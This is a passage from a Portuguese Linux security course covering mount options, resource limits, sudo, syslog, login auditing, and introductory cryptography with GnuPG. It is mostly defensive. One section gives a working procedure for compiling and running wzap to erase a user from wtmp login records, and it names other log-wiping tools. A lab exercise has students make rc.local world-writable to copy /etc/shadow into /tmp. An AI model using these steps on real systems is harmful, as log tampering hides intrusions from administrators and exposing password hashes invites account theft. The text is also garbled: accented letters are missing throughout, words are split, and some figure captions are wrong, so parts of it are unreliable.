Abaixo est a relao de diretrios que podem ser montados em parties separadas, estes di etrios esto apresentados com seus respectivos parmetros que devem ser utilizados pa ra aumentar a segurana. Diretrio Parmetro /mnt, /home, /tmp, /var, /lib e /boot noexec e nosuid /boot, /usr, /bin e /sbin ro read only (apenas leitura) /etc nosuid

Cada diretrio apresentado acima pode ser montado em uma partio separado com o respe citvo parmetro. A diviso da rvore em parties diferentes facilita a administrao e atu zao do sistema, permite aumentar a segurana devido a restrio de alguns recursos atrav de parmetros particulares, caso uma partio seja danificada no ir afetar a outra, fac ilita o compartilhamento de arquivo em rede etc. Limitao de recursos

No sistema Linux, vrios recursos do sistema podem ser limitados, por exemplo: qua ntidade mxima de processos, quantidade mxima de arquivos abertos, perodo mximo de te mpo de CPU, etc. Esta funcionalidade uma caracterstica intrnseca do kernel. Os limites so configurad os a partir do comando ulimit cuja sintaxe est mostrada abaixo: #ulimit <opes> <limite> Abaixo est apresentado suas principais opes: Opo -a -c -d -f -t -n -u -v Descrio Todos os limites so mostrados Determina o tamanho mximo do arquivo core que pode ser criado Determina o tamanho mximo do segmento de dados de um processo Determina o tamanho mximo de um arquivo criado por um shell Perodo mximo de tempo de utilizao de CPU em segundos Quantidade mxima de arquivos abertos Quantidade mxima de processos disponvel para um usurio Determina a quantidade mxima de memria virtual disponvel para o shell

Exemplos de utilizao: hand Para verificar todos os limites configurados, execute: #ulimit -a core file size (blocks) data seg size (kbytes) file size (blocks) max locked memory (kbytes) max memory size (kbytes) open files pipe size (512 bytes) stack size (kbytes) cpu time (seconds) max user processes virtual memory (kbytes) max file locks 1000000 unlimited unlimited unlimited unlimited 1024 8 unlimited unlimited 960 unlimited unlimited

hand Para alterar a quantidade mxima de processos por usurios, execute: #ulimit -u 512 Este exemplo altera a quantidade mxima de processos para 512. hand Para alterar a quantidade mxima de arquivos abertos, execute: #ulimit -n 460 Para que estes comandos fiquem permanentes, deve-se adicionar estes comandos no arquivo /etc/profile. Arquivo limits.conf: Este arquivo fica dentro do diretrio /etc/security. A partir deste arquivo possvel definir limites a nvel de usurios e grupos de usurios. O formato deste arquivo est apresentado abaixo: <domain> <type> <item> <value>

A tabela a seguir explica cada parmetro:

Parmetro Descrio domain Pode ser um nome de usurio, um grupo de usurio ou * que a entrada padro cor responde a todos usurios. A sintaxe do grupo : @ type Pode ser utilizado dois valores: soft para utilizar limites flexveis e ha rd para utilizar limites fixos. item Pode ser um dos itens a seguir: core limita o tamanho do arquivo core; d ata limita o tamanho mximo de dados; fsize limita o tamanho mximo de arquivos; nof ile - nmero mximo de arquivos abertos; cpu limita o tempo mximo de utilizao de CPU; proc nmero mximo de processos; maxlogins nmero mximo de login por usurio; priority ioridade de processo para determinado usurio; valor nmero que determina o limite imposto. O valor 0 zero significa sem limite s. Veja o exemplo a seguir: @comercial @desenvolvimento @alunos @alunos joao hard hard hard hard hard nproc 10 nproc 50 maxlogins 3 cpu 5 cpu 9999

O exemplo acima determina que o grupo de usurios comercial pode executar 10 proce ssos. O grupo de desenvolvimento pode executar 50 processos. O grupo alunos deve consumir menos CPU. O usurio joao pode utilizar o mximo possvel da CPU. Nota: Para limitar espao em disco deve-se utilizar as quotas de usurios e grupos. A limitao de recursos no sistema muito importante pois evita alguns ataques conhec idos como DoS Denial of Service[Negao de servio]. Ao mesmo tempo que garante o proc essamento ideal da mquina, pois evita o consumo exagerados de recursos do sistema proveniente de processos executados por usurios. Nota: Ataques DoS so ataques que visam o consumo de recursos do sistema ou rede. Estes ataques sero tratados em um captulo particular. SUDO A controle da execuo de comandos pode ser realizada atravs das permisses de arquivos . Entretanto, em alguns casos, o comando deve ser executado necessariamente por root e o usurio encarregado de tal tarefa no deve possuir a conta de root. Uma sol uo a utilizao de suid, porm est soluo possibilita que todos os usurios executem a. A soluo ideal para este problema a utilizao do SUDO. Nota: Um exemplo bastante comum de necessidade do processo ser executado como ro ot o backup. Muito das vezes o responsvel pelo backup no o administrador e sim um usurio comum do sistema. Neste caso, deve-se criar um script de backup e dar perm isses de execuo deste script atravs do SUDO. Configurao do SUDO: A configurao SUDO feita a partir do arquivo /etc/sudoers. Este arquivo pode ser ed itado diretamente atravs do vi ou atravs do comando visudo. A sintaxe deste arquiv o est mostrado a seguir: <usurio(s)> <maquina(s)>=<executar_como_usurio(s)> <comando(s)> A tabela abaixo explica os parmetros da sintaxe deste arquivo:

Parmetro Definies usurio(s) Determina os usurios que esto recebendo permisses de execuo de comand os. maquina(s) Determina as mquinas a partir das quais pode-se executar comandos . executar_como_usurios(s) Determina o usurio pelo qual o comando ser executa do. comando(s) Lista de comandos permitidos hand Abaixo est apresentado um exemplo: fulano jpaulo localhost=(root) localhost=(root) /usr/sbin/httpd /sbin/halt

A configurao apresentada permite o usurio fulano a partir da mquina local executar o comando httpd como se fosse root. A segunda linha permite o usurio jpaulo deslig ar a mquina atravs do comando halt. possvel definir uma lista de comandos, mquinas e comandos atravs dos seguintes apel idos: User_Alias &#8211; Define uma lista de usurios. Host_Alias &#8211; Define uma lista de mquinas. Cmnd_Alias &#8211; Define uma lista de comandos. hand O exemplo a seguir ajuda a compreender a utilizao destes apelidos: User_Alias Host_Alias Cmnd_Alias USUARIOSBKP USUARIOSBKP = fulano, beltrano, cicrano CPD = 10.1.0.1, 10.1.0.2, 10.1.0.3 BACKUP = /sbin/fazbkp.sh, /sbin/restaurabkp.sh CPD=(root) BACKUP

O exemplo acima determina que os usurios fulano, beltrano e cicrano podem executa r os comandos fazbkp.sh e restaurabkp.sh a partir das mquina 10.1.0.1, 10.1.0.2 e 10.1.0.3 como se fosse root. Executar o SUDO:

A execuo do SUDO geralmente utilizada para que um usurio comum execute comandos com o super-usurio. Por padro, o comando sudo requer autenticao dos usurios com sua senha . Note que a senha do usurio, e no do usurio root. Uma vez que o usurio j esteja aut nticado, uma contagem regressiva inicializada e o usurio pode ento utilizar sudo s em solicitar autenticao por um curto perodo de tempo - cinco minutos o padro. O SUDO determina quem est autorizado a utiliz-lo consultando o arquivo /etc/sudoer s. Se um usurio que no est listado no arquivo sudoers, tentar utilizar o SUDO, um e mail enviado para root automaticamente. Por padro, todas as tentativas mal sucedi das e bem sucedidas so registradas. Abaixo est os principais exemplos de utilizao do SUDO. hand Listar os comandos permitidos pelo usurio: $ sudo -l Password: User fulano may run the following commands on this host: (root) /sbin/fazbkp.sh (root) /sbin/restaurabkp.sh

Executar comando utilizando o SUDO: $sudo fazbkp.sh Logs do Sistema Anlise de logs essencial para detectar atividades suspeitas ou at mesmo uma invaso. O gerenciamentos de logs deve ser realizado baseado nos seguintes tpicos: Anlise peridica Deve-se manter uma poltica de anlise de logs de forma a estar at ento ao funcionamento da mquina e suas atividades realizadas. Facilidade de entendimento Um log muito extenso com informaes desnecessrias dif iculta a anlise e consequentemente pode fazer com que uma informao importante passe despercebida. Portanto, o log deve ser personalizado de forma a garantir um reg istro mais eficaz. Estratgia de log Os registro de logs no devem ser armazenados na mesma mquina q ue gerou os logs. Pois, o invasor poderia, com acesso ao sistema, apagar os regi stros de logs. Para isto existe o que chamamos de servidor de log mquina voluntria com a finalidade de registrar logs de outras. Syslog O sistema Linux possui incorporado um sistema de log chamado syslog. Informaes sob re o sistema em geral tratado pelo syslog. Vrios servios tambm utilizam este recurs o para registrar seus logs. O daemon utilizado pelo syslog o syslogd daemon syslog. Verifique se o servio est sendo executado da seguinte forma: #ps aux root grep syslogd 599 0.0 0.5 1384 604 ? S 13:30 0:00 syslogd -m 0

Todos os arquivos de logs do syslog so gravados no diretrio /var/log. O principal arquivo de log deste servio o message. Um exemplo de registro de log est mostrado abaixo: Mai 23 14:36:19 torre su(pam_unix)[1175]: authentication failure; logname=root u id=501 euid=0 tty= ruser= rhost= user=root

Este registro mostra a falha de autenticao do usurio com nmero de identificao UID l a 501 quanto este tentava virar root atravs do comando su. Criando um servidor de log: O syslog tem suporte a servidor de log, ou seja, os logs gerado em uma mquina pod e ser armazenados em outra. fig 2. Ilustrao do cliente e servidor de log.

A configurao do cliente de log, ou seja, a configurao da mquina que ir gerar e transm tir os logs na rede feita adicionando a seguinte linha no arquivo de configurao do syslog - /etc/syslog.conf: *.* @10.1.0.1

Onde 10.1.0.1 o endereo IP do servidor de log. Depois de configurar, reinicie o d aemon: #kill -1 <nmero de identificao do processo - PID>

ou atravs de scripts de inicializao que algumas distribuies fornecem conforme abaixo: #/etc/rc.d/init.d/syslog restart

No servidor de log somente necessrio acrescentar uma opo na execuo do daemon syslogd opo -r. Portanto, pare o servio e em seguida, execute: #syslogd -m 0 -r A partir deste momento os logs do cliente sero armazenados no arquivo /var/log/me ssages do servidor.

Nota: O syslog no um sistema voltado para especificadamente detectar atividades q ue possa afetar a segurana. Existem ferramentas conhecidas como IDS Sistemas de D eteco de Intrusos que so mais eficazes na deteo de ataques e que sero tratadas em u aptulo especfico. Comandos de auditoria de logons O administrador de sistemas, alm de verificar os registros de logs, deve possuir e analisar relatrios de logons de usurios. O comando last: O last analisa o arquivo /var/log/wtmp e mostra um relatrio de todos os ltimos log ons dos usurio incluindo aqueles que esto conectados no momento. hand Veja o exemplo abaixo: #last root root root root jpaulo jpaulo jpaulo pts/2 pts/1 pts/0 tty1 tty6 tty4 tty2 Fri Fri Fri Fri Fri Fri Fri May May May May May May May 23 23 23 23 23 23 23 13:46 still logged in 13:45 still logged in 13:45 still logged in 13:44 still logged in 13:43 - 13:44 (00:00) 13:42 - 13:44 (00:01) 13:42 - 13:44 (00:01)

A sada do comando permite identificar a data do ltimo logon ou se o usurio est conec tado atualmente. Em nosso exemplo root est logado por meio de trs terminais. O rel atrio tambm emite o horrio de conexo, assim como intervalo de tempo utilizado. Comando lastlog: O comando lastlog analisa o arquivo /var/log/lastlog e retorna o relatrio dos ltim os logons incluindo logons atravs de terminais remotos. Veja o exemplo: #lastlog -u jpaulo Username Port jpaulo pts/5 From Latest intranet.sistema Sex Mai 23 15:31:11 -0300 2003

A sada do comando representa o ltimo logon do usurio jpaulo a partir da mquina intra net. Remover logs: Os logs do syslog so facilmente removidos, pois se trata de um arquivo texto e po de ser alterado diretamente. Entretanto, os arquivos de anlise do last e do lastl og no podem ser diretamente editados.

Alguns programas podem ser utilizados para apagar logs de um determinado usurio q ue esteja reportado nos arquivos wtmp e lastlog arquivos de anlise do last e last log respectivamente. O wzap um destes programas e pode ser encontrado no endereo http://packetstormsec urity.org. O wzap remove registros do arquivo de anlise do last - arquivo wtmp e gera um novo arquivo no diretrio corrente chamado wtmp.out. hand Veja o procedimento abaixo: #gcc wzap.c -o wzap #cp wzap /var/log #./wzap Enter username to zap from the wtmp:jpaulo opening file... opening output file... working... #mv wtmp.out wtmp Depois de executado o procedimento acima, o usurio jpaulo no ir mais constar no rel atrio do last. Nota: UTClean, remove e marry so ferramentas tambm destinada a remoo de logs dos com andos last e lastlog. Estes programas tambm esto disponveis no endereo http://packet stormsecurity.org, basta fazer uma busca neste endereo. Links indicados [LSC] - Linux Security - Site especializado em segurana http://www.linuxsecurity.com Disponibiliza documentao, anncios, alertas de segurana e fruns de discusses. Vrios manuais sobre os mais diversos servios so apresentados ne ste endereo. [LSB] - Linux Security Brasileiro - Site brasileiro voltado para o estudo de segurana. http://www.linuxsecurity.com.br As ltimas notcias sobre segurana podem ser encontra das neste endereo assim como vrios guias de segurana para seu sistema. [PSS] - Packet Storm Security - Site com maior volume de ferramentas relacio nadas a segurana. http://packetstormsecurity.org Disponibiliza ferramentas de segurana, exploits fe rramentas de explorao de servios, alertas de segurana etc. [CER] - CERT - Site para encontrar alertas de segurana. http://www.cert.org Os mais diversos tipos de ataques e vunerabilidades so retrat ados neste endereo. http://www.securiteam.com Disponibiliza notcias, exploits e ferramentas de se gurana para os sistemas UNIX e Windows. http://www.securityfocus.com Tambm disponbiliza ferramentas e notcias sobre se gurana incluindo alertas sobre vrus. Terminologia Utilizada

Engenharia social - definido como mtodos de obteno de informaes importantes do s

stema coorporativo ou mesmo do usurio atravs de sua ingenuidade ou confiana.

Criptografia - uma palavra oriunda do grego: krypts oculto e grheim - escre cincia que estuda formas de codificar dados de forma a garantir: Confidencialidad e, Integridade, Autenticidade e Disponibilidade. Scanner Ferramenta utilizada para detectar vunerabilidades em um sistema ou rede. Sniffing Processo de captura de dados que est trafegando na rede. Ssh Secure Shell Servio que disponibiliza um terminal para administrao remota. Este servio equivalente ao telnet. Entretanto o ssh criptografa toda a informao que trafega entre o cliente e o servidor. VPN Virtual Private Network uma alternativa para inteligar duas redes privad as via Internet de forma segura. A VPN implementa criptografia nos roteadores de cada rede privada de forma que todo o pacote que tenha destino a outra rede sej a criptografado. DOS Denied of Service[Negao de servios] Tipo de ataque cujo objetivo consumir m recurso de um sistema ou rede. Estes ataques de forma geral possui a finalidad e de causar a queda do sistema operacional ou aplicativo ou consumir recursos da rede como a largura de banda. Exploits So programas destinados explorao de alguma vunerabilidade de um determ ado servios. Geralmente so utilizados para obter qualquer tipo de acesso no autoriz ado. IDS Sistemas de Deteco de Intrusos So programas inteligentes com a finalidade d e detectar atitudes suspeitas que evidencie uma invaso ou uma tentativa de invaso. Patches - Traduzido como emenda ou correo. So programas escritos para corrigir bugs encontrados em algumas aplicaes. spoofing Em geral definido como qualquer tipo de falsificao da identidade, sej a nmero IP, nome de host, usurio etc SUID Switch User ID - um recurso do sistema de arquivo do Linux que permite um usurio enquadrado como outros executar um arquivo como se fosse o dono. Ou sej a, o dono do processo ser o dono do arquivo e no o usurio que realmente executou ta l arquivo.

Vrus Programa que possui a caracterstica de autoreproduo. Alguns vrus so capaze e se multiplicarem rpidamente na rede e causar srios danos ao sistema operacional ou a rede. Exerccios de Reviso 1. Quais as principais limitaes que um sistema seguro deve impor? Fale sobre a necessidade da segurana e quais so os fatores preponderantes para o desenvolvimen to deste estudo. 2. Fale sobre segurana no usurio, processo, equipamento e sistema operacional. Quais so as principais medidas preventivas? 3. Fale sobre as principais servios e ferramentas aplicadas a segurana e supor tadas pelo Linux.

4. Faa um relatrio sobre as medidas de segurana que devem ser aplicados ao sist ema de boot do Linux. Como uma pessoa mal intencionada poderia ganhar acesso atr avs do boot? 5. Quais funcionalidades do sistema de arquivo do Linux podem ser implementa das para aumentar a segurana do Linux? Fale sobre os problemas de segurana relacio nado ao SUID e como. 6. Fale sobre o sistema de log do Linux. Como possvel criar um servidor de lo g atravs do syslog? Qual as vantagens de utilizar um servidor de log? 7. Faa um script que faa backup do diretrio /etc. Este script dever ser executad o atravs de um usurio comum. Mostre como possvel somente um usurio executar este scr ipt com privilgios de root. 8. Faa uma busca por arquivos com suid em todo o sistema. Como possvel que a s ada do comando seja guardado em arquivo e comparado posteriormente com novos resu ltados?(Use o comando diff) Quais arquivos com suid podem ser eliminados para te r-se um servidor dedicado ao servio Web Apache? 9. Altere o arquivo /etc/rc.d/rc.local ou equivalente de sua distribuio, permi tindo escrita para todos; como usurio comum, altere o /etc/rc.d/rc.local e inclua comandos para copiar o arquivo /etc/shadow para /tmp, com permisses de leitura p ara todos; reinicie a mquina e verifique se a cpia do shadow foi realizada; gere u ma lista de arquivos escritos para todos; verifique se algum no poderia ter leitu ra ou escrita para todos e crie uma lista de pelo menos 5 arquivos que no podem t er escrita para todos. Criptografia Este captulo apresentar os principais algoritmos de criptografia utilizados atualm ente na transao de dados em redes de computadores. Tambm iremos estudar conceitos i mportantes sobre criptografia como por exemplo: certificaes de segurana e assinatur a digital. Introduo

Criptografia uma palavra oriunda do grego: krypts - oculto - e grheim - escrever. cia que estuda formas de codificar dados de forma a garantir:

Confidencialidade pode ser entendido como segredo, sigilo ou privacidade, ou seja, garantir que os dados no sejam entendidos por usurios, entidades e processo s no autorizados. Integridade A criptografia deve garantir que os dados em trnsito no sejam modi ficados. Na verdade, quando os dados esto em trnsito, eles esto sujeitos alterao. En retanto, a criptografia deve garantir que o destinatrio possua condies de saber se estes dados no foram alterados em sua trajeto. Autenticidade Deve garantir que os dados so realmente originados por determin ado usurio, entidade ou processo. Disponibilidade A criptografia deve viabilizar o acesso de quem autorizado a utilizar determinado recurso do sistema. Em contra-partida, deve negar e detect ar atividades suspeitas de quem no est autorizado a utilizar o sistema.

Todo sistema de comrcio eletrnico e transao em contas bancrias so possveis atualment evido a evoluo da criptografia. Um outro estudo muito importante para a criptografia a criptoanlise [WIKb]: "kryp ts" oculto - e "analyein" desfazer -, a cincia que estuda os princpios, processos mtodos para desvendar os segredos dos sistemas criptogrficos existentes. Este est udo tem como finalidade decifrar os cdigos criptografados, alterar os dados em trn

sito, violar a identidade oriunda e ganhar acesso no sistema. Nota: O processo de decifar, alterar e violar os sistemas criptogrficos conhecido popularmente como quebrar cracker os sistemas de criptografia. Da o nome crackers de senhas utilizado por softwares que possui tal objetivo. A criptografia e a criptoanlise apesar de antagnica tem sido necessria e predominan te para a evoluo da segurana nos sistemas corporativos. Conceitos sobre criptografia Alguns conceitos devem ser previamente entendidos antes de comear a estudar os si stemas criptogrficos. Abaixo est descrito os conceitos gerais utilizados em todo s istema criptogrfico: Criptografar - compreende a transformao de um texto ou arquivo de dados legvel, em algo ilegvel ou irreconhecvel, denominado texto cifrado. Este processo realiza do atravs de um algortmo e de uma chave criptogrfica. Decriptografar - o processo inverso da operao de criptografar, ou seja, dado o texto cifrado, atravs do emprego do mesmo algoritmo e da mesma chave usados na c riptografia, obtm-se o texto original. Chave criptogrfica um nmero e/ou uma palavra que em conjunto com o algoritmo de criptografia utilizada para criptografar ou decriptografar. Quanto maior a chav e, maior o tempo utilizado para criptografar e decriptografar. Entretanto, quant o maior a chave, maior a segurana de seu sistema. Processo de criptografar: DADOS---------------->CHAVE + ALGORITMO------------------>TEXTO CIFRADO fig 1. Ilustrao do processo de criptografar. Processo de decriptografar TEXTO CIFRADO-------------->CHAVE + ALGORITMO----------->DADOS fig 2. Ilustrao do processo de decriptografar.

Criptografia Forte e Criptografia Fraca A fora de uma criptografia medida pel o tempo estimado dificuldade para se quebrar informaes criptografadas. Quanto maior o tempo, mais forte a criptografia utilizada. Tipos de criptografia Existem basicamente dois tipos de criptografia: criptografia simtrica e a criptog rafia assimtrica. A primeira, tambm chamada convencional e de chave secreta, foi o primeiro tipo de criptografia a ser criado. A segunda, uma criptografia moderna que surgiu posteriormente para acabar com algumas limitaes que a criptografia simt rica apresentava. Criptografia simtrica Este tipo de criptografia definida como: criptografia em que a chave para cripto grafar a mesma chave utilizada para decriptografar. Na criptografia simtrica, a chave criptogrfica deve ser mantida em total sigilo. P ois, descoberta esta chave, todo o sistema estar comprometido. Processo de criptografar utilizando criptografia simtrica:

DADOS ---------------->CHAVE SIMTRICA + ALGORITMO--------------> TEXTO CIFRADO Processo de decriptografar utilizando criptografia simtrica: TEXTO CIFRADO--------------->CHAVE SIMETRICA + ALGORITMO--------------->DADOS (mesma chave utilizada no processo de criptografar) fig 3. Ilustrao do processo de criptografar e decriptografar utilizando criptograf ia assimtrica. O maior problema deste tipo criptografia fazer com que as duas partes origem e d estino - da transao dos dados possuam a chave criptogrfica. O problema no para por a, deve-se garantir que somente eles possam conhecer a chave secreta em uso, assim como atualizar possveis alteraes futuras da mesma. Portanto, a criptografia simtric a necessita de uma forma de comunicao segura para que a chave secreta seja transmi tida. Algoritmos de criptografia simtrica Os principais algoritmos de criptografia so: DES, IDEA e Blowfish. DES Data Encryption Standart um algoritmo de criptografia simtrica desenvolvi da e patenteada pela IBM a partir de seu algoritmo conhecido como lucifer. essenci almente um algortmo cifrador de blocos de 64 bits com chaves de 56 bits utilizado em softwares como por exemplo: OpenSSH?. O DES pode ser utilizado para: Efetuar criptografia e decriptografia de mensagens, entre dois ou mais usurios, e nviadas por algum meio de comunicao; Gerar e verificar um cdigo de autenticao de mens agem enviadas por algum meio de comunicao - Message Authentication Code.

Nota: A utilizao do DES em um ambiente multi-usurio pode apresentar dificuldades co m respeito distribuio segura das chaves secretas. A soluo ideal neste caso fornecid pela criptografia assimtrica que ser utilizada em conjunto. IDEA International Data Encryption Algorithm Desenvolvido por dois pesquisad ores na Sua. Na verdade, depois da criao do DES, vrios outros tipos de algoritmos de criptografia surgiram, entre eles: o IDEA e Blowfish. O IDEA utiliza de blocos d e 64 bits e chaves de 128 bits. Uma maior chave foi criada para evitar ataques d e fora bruta. Este algoritmo patenteado pela Ascom na ustria, Frana, Alemanha, Itlia , Japo e vrios outros pases. Para utilizar este algoritmo, deve-se contactar a Asco m atravs do endereo http://www.ascom.ch/. Blowfish - um algoritmo criptogrfico de chave simtrica desenvolvido por Bruce Schneier. Tambm baseado em um cifrador de blocos de 64 bits com chaves de tamanho varivel - at 448 bits. Possui as seguintes caractersticas: Mais rpido que o DES e o IDEA; No patenteado e totalmente livre; Cdigo-fonte disponvel para download. O Blowfish cada vez mais est sendo utilizado como alternativa em software como: O penSSL? Secure Socket Layer , VPND Virtual Private Network Daemon -, etc. Criptografia Assimtrica Este tipo de criptografia mais recente que a criptografia simtrica. A criptografi a assimtrica surgiu para evitar o problema de repasse e atualizao das chaves secret as utilizado na criptografia simtrica. A criptografia assimtrica implementa um novo conceito conhecido como par de chave s chave pblica e privada. Assim, uma chave utilizada para criptografar chave pblic

a - e a outra para decriptografar chave privada. Isto permite que cada entidade, usurio ou processo possa distribuir irrestritamente sua chave pblica, pois uma ve z criptografada uma mensagem ou qualquer informao com esta chave, somente o dono d a respectiva chave privada poder decriptografar a informao. Logo, cada usurio, entid ade ou processo dever possuir um par de chaves prprio. Processo de criptografar utilizando criptografia assimtrica: DADOS ---------------->CHAVE PBLICA + ALGORITMO--------------> TEXTO CIFRADO Processo de decriptografar utilizando criptografia assimtrica: TEXTO CIFRADO--------------->CHAVE PRIVADA + ALGORITMO--------------->DADOS (somente a chave privada ser capaz de decriptografar) fig 4. Ilustrao do processo de criptografar e descriptografar utilizando criptogra fia assimtrica. DADOS ---------------->CHAVE PRIVADA + ALGORITMO--------------> INFORMAO CIFRADA Processo de decriptografar utilizando criptografia assimtrica: INFORMAO CIFRADA--------------->CHAVE PBLICA + ALGORITMO--------------->DADOS (autenticidade garantida, qualquer um de posse da chave pblica pode decriptografa r a informao) (somente a chave pblica ser capaz de decriptografar) A desvantagem deste sistema criptogrfico em relao ao simtrico a velocidade. A cripto grafia simtrica mais veloz que a criptografia assimtrica. Portanto, a soluo muito da s vezes utilizar os dois sistemas em conjunto. Neste caso, a criptografia assimtr ica utilizada para fazer com que o sistema remoto receba a chave simtrica de form a segura, depois que os dois lados da conexo possuem a chave simtrica, os dados se ro transferidos criptografados de forma simtrica. Este procedimento une o til ao ag radvel. Algoritmos de criptografia assimtrica: Os principais algoritmos de criptografia disponveis e utilizados so: RSA e DSA. RSA Nome oriundo das iniciais dos sobrenomes de seus autores: Ron Rivest, Ad i Shamir e Leonard Adleman. Este algoritmo foi inventado em 1977. um sistema de criptografia de chave pblica utilizado tanto para cifrar quanto para autenticao de dados. RSA combinado com a funo hashing SHA1 - Secure Hash Algorithm - para cifrar a mensagem. A patente deste algoritmo expirou em setembro de 2000 e somente vlid a nos EUA. utilizada em servios como: OpenSSH? e OpenSSL?. DSA um algoritmo de criptografia assimtrica criado por David Kravitz. Foi cri ado para ser utilizado em alternativa ao algoritmo RSA. Este algoritmo pode ser utilizado sem restries de patentes e licenas. Utilizado na grande maioria de softwa re que utilizam de criptografia, incluindo o OpenSSL? e OpenSSH?. Assinatura Digital A assinatura digital foi criada para garantir: Integridade O destinatrio ao receber os dados dever ter a certeza de que estes dados no foram corrompidos durante sua trajetria. Autenticidade O destinatrio ao receber alguma mensagem ter condies de certificar -se da origem da informao.

Portanto, o objetivo da assinatura autenticar a origem da informao, ou seja, prova r que a pessoa, entidade ou processo que fez a assinatura realmente quem se decl ara ter feito. Desta forma, a assinatura deve ser algo que s pode ser feito por s eu prprio autor. Para conferir a integridade da informao, existem o que chamamos de funes de hash que a partir de uma entrada pr-determinada gera uma sada baseada na entrada. Para qua lquer alterao da entrada, a sada existente no ir mais conferir a entrada e, portanto, pode-se concluir que os dados de entrada foram corrompidos. Entre as funes de has h mais utilizadas temos: CRC32 e MD5 Para conferir a autenticidade, uma boa soluo utilizar a criptografia assimtrica pel a qual a assinatura gerada atravs da chave privada. Como a chave privada nica, que m possuir a sua respectiva chave pblica poder confirmar a assinatura e ter a certe za de sua origem. Na prtica, o processo de assinatura digital pode ser entendido da seguinte forma: O seguinte exemplo ilustra o procedimento assinatura de um arquivo. fig 5. Ilustrao do procedimento de assinatura digital de um arquivo. 1. Um hash gerado a partir do contedo do arquivo. Este hash um novo arquivo q ue contm uma combinao, que no caso do MD5, de 128 bits gerado a partir do contedo do arquivo. &&estes 128 bits tambm considerado 2. O arquivo de hash assinado atravs da chave privada do remetente. 3. O arquivo original com o arquivo de hash assinado enviado para o destinatr io. Abaixo est ilustrado o procedimento de verificao da assinatura digital. fig 6. Procedimento de verificao da assinatura digital. 1. A assinatura verificada pelo destinatrio que possue a chave pblica do remet ente. Nesta etapa, o destinatrio tem a certeza de que o arquivo original possui r emetente autntico. 2. O destinatrio verifica o arquivo de hash com o arquivo original. Se a veri ficao for satisfeita, o arquivo no foi alterado. Certificaes

Imagine o seguinte exemplo: Ao conectar em um servidor remoto, voc recebe uma cha ve pblica para enviar determinada informao para um destinatrio. Qual seria a garanti a de que voc est recebendo a chave pblica autentica de seu destinatrio? Pares de cha ves podem ser criadas indefinidamente e nada impede que uma chave possa ser cria da com dados de outra pessoa ou entidade. Antes de utilizar uma determinada chav e pblica, necessrio confiar na fonte desta chave. Este o propsito das certificaes. Portanto, certificaes so utilizadas na criptografia assimtrica para identificar o pr oprietrio de um determinado par de chaves. Basicamente, um certificado uma chave pblica assinada. Para garantir a confiabilidade de um determinada chave pblica pode se utilizar: F ingerprint e Autoridades Certificadoras CAs. Fingerprint Para cada par de chaves existe uma impresso digital nica fingerprint. Este fingerp rint o mesmo tanto para a chave pblica quanto para a chave privada e pode ser uti lizado por ambas as partes para verificar a veracidade destas chaves. Para isto,

deve-se entrar em contato com o dono da chave privada autentico e requerir o re spectivo fingerprint, atravs da comparao, possvel determinar se esta chave pblica have autentica. Importante: Para o exemplo apresentado, deve-se ter a certeza que a pessoa que e nviou o fingerprint realmente a pessoa que se deseja enviar informaes criptografad as. Uma boa opo para receber este fingerprint via FAX. Nota: O SSH exemplo de software que utiliza fingerprint. Porm, sua funo um pouco di ferente da apresentada anteriormente. No caso do SSH, sua finalidade garantir qu e o servidor remoto de conexo SSH o servidor autentico. Para isto, na primeira ve z que um cliente conectar via SSH, ele ir receber o fingerprint. Nas prximas conexe s, este fingerprint ser utilizado para verificar a identidade do servidor SSH. Autoridades Certificadoras - CAs As autoridades certificadoras surgiram da necessidade de resolver os problemas d e confiana relacionado s chaves pblicas. Assim, estas entidades funcionam como cartr ios digitais com a finalidade de regularizar e garantir a confiabilidade de um c have pblica. Assim, os CAs so responsveis pela emisso de certificados chamados de X-509 que poss uem as seguintes informaes: dados de identificao da entidade, dados do CA emissor, d ata de validade, assinatura do CA e chave pblica. Os certificados X-509 so reconhecidos publicamente, pois as autoridades certifica dores so cadastradas na grande maioria dos navegadores da Internet. Portanto, ao acessar uma endereo que utiliza HTTPS por exemplo, o navegador ser capaz de identi ficar o certificado como reconhecido ou no. Caso no seja reconhecido, o navegador ir apresentar um alerta que de acordo com sua segunda ordem, a conexo ir continuar ou no. Nota: Certificaes so utilizadas essencialmente em servidores Web que utilizam do pr otocolo HTTPS. Geralmente utilizado em sistema de comrcio eletrnico e contas bancri as. Ferramentas disponveis Os dois principais software que trabalham com criptografia so: PGP Pretty Good Pr ivacy desenvolvido originalmente por Philip Zimmermann no ano de 1990 e GnuPG? G NU Privacy Guard. O GnuPG? uma verso livre do PGP que no necessita de licenas para uso. Mais precisamente, o GnuPG? no utiliza o algoritmo IDEA algoritmo patenteado - utilizado no PGP. Todos as duas ferramentas suportam criptografia simtrica e assimtrica e algumas fu nes hash. Atravs destas ferramentas possvel criptografar, assinar e gerar certificad os. Para nosso estudo ser utilizado o GnuPG? pelo fato de poder ser utilizado sem nenhuma restrio. GnuPG? O GnuPG? suportado pela grande maioria dos sistemas operacionais existentes. Uma grande quantidade de algoritmos de criptografia pode ser utilizado atravs do Gnu PG?. Abaixo est apresentados os algoritmos suportados: Criptografia simtrica: 3DES, CAST5, BLOWFISH, RIJNDAEL, RIJNDAEL192, RIJNDAEL256 e TWOFISH. Criptografia assimtrica: RSA, DSA e ELG Funes hash: MD5, SHA1 e RIPEMD16 0 Instalao

O GnuPG? est disponvel no endereo www.gnupg.or/download. Faa download deste do GnuPG ? no diretrio /usr/local/src e, em seguida, execute: #tar xvfz gnupg-1.2.2.tar.gz #cd gnupg-1.2.2 #./configure #make #make check #make install Antes de executar o make install. Verifique se todos os testes sero satisfeitos n a execuo do comando make check. Um resumo final ser apresentado conforme apresentad o: =================== All 25 tests passed =================== make[2]: Leaving directory `/usr/local/src/gnupg-1.2.2/checks' make[1]: Leaving directory `/usr/local/src/gnupg-1.2.2/checks' make[1]: Entering directory `/usr/local/src/gnupg-1.2.2' make[1]: Nothing to be done for `check-am'. make[1]: Leaving directory `/usr/local/src/gnupg-1.2.2' Neste exemplo todos os teste foram satisfeitos e, portanto, o GnuPG? est pronto p ara ser instalado. GnuPG? para criptografia simtrica O processo de criptografia simtrica bastante simples. O processo baseado em gerar um arquivo criptografado a partir de um frase senha que dever ser passado para o destinatrio. Este destinatrio com arquivo criptografado e a frase senha ser capaz de decriptografar e ler a informao original. hand Para criptografar um arquivo com chave simtrica, execute: #gpg -c teste_simetrico.txt Digite a frase secreta: Repita a frase secreta: Aps a execuo do comando apresentado, ser criado um arquivo teste_simetrico.txt.gpg q ue ser o arquivo com a informao criptografada. hand Para descriptografar o arquivo, execute: #gpg -o teste_simetrico --decrypt teste_simetrico.txt.gpg gpg: dados criptografados com 